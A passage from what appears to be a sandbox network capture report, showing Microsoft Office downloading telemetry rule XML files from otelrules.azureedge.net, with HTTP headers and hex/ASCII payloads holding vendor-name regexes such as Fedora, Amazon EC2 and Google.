T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.6	49751	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 14:27:18 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 14:27:18 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 14:27:18 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: 16672fc1-b01e-0001-32e8-2846e2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T142718Z-r197bdfb6b4b4pw6nr8czsrctg000000079g00000000as26 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 14:27:18 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.6	49749	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 14:27:18 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 14:27:18 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 14:27:18 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: 5e2f3c3f-901e-0048-1b49-28b800000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T142718Z-17c5cb586f6gkqkwd0x1ge8t040000000720000000006cv9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 14:27:18 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.6	49752	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 14:27:18 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 14:27:18 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 14:27:18 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: b2eb4648-201e-0051-526d-287340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T142718Z-17c5cb586f6mkpfkkpsf1dpups00000001z0000000007esa x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 14:27:18 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.6	49748	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 14:27:18 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 14:27:18 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 14:27:18 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: 6856914c-401e-0029-0667-279b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T142718Z-16849878b782d4lwcu6h6gmxnw000000066000000000nw8k x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 14:27:18 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.6	49754	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 14:27:19 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 14:27:19 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 14:27:19 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: 51ccb76b-001e-0049-0a37-265bd5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T142719Z-16849878b78x6gn56mgecg60qc00000008f000000000av7w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 14:27:19 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.6	49756	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 14:27:19 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 14:27:19 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 14:27:19 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: a1cd263b-b01e-0070-5f2a-271cc0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T142719Z-16849878b78p49s6zkwt11bbkn000000066000000000pwux x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 14:27:19 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.6	49757	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 14:27:19 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 14:27:19 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 14:27:19 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: 7d1d0a8a-d01e-0049-263b-26e7dc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T142719Z-r197bdfb6b48pl4k4a912hk2g400000005y0000000003anr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 14:27:19 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.6	49755	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 14:27:19 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 14:27:19 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 14:27:19 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: 99f07890-301e-0051-29d2-2538bb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T142719Z-16849878b78qfbkc5yywmsbg0c000000067g00000000m7vf x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 14:27:19 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.6	49753	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 14:27:19 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 14:27:19 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 14:27:19 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: 2b9d96d3-301e-0020-4e31-276299000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T142719Z-16849878b78qfbkc5yywmsbg0c00000006a000000000bn2y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 14:27:19 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.6	49761	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 14:27:20 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 14:27:20 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 14:27:20 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: c1b2f9d4-701e-0098-1062-26395f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T142720Z-16849878b78z2wx67pvzz63kdg000000054000000000pa6f x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 14:27:20 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.6	49758	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 14:27:20 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 14:27:20 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 14:27:20 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: 18fe904c-c01e-00a1-4257-277e4a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T142720Z-16849878b78sx229w7g7at4nkg00000004y00000000070am x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 14:27:20 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.6	49759	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 14:27:20 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 14:27:20 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 14:27:20 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: d4272afd-e01e-0033-057f-294695000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T142720Z-17c5cb586f6mkpfkkpsf1dpups00000001vg00000000cqk1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 14:27:20 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 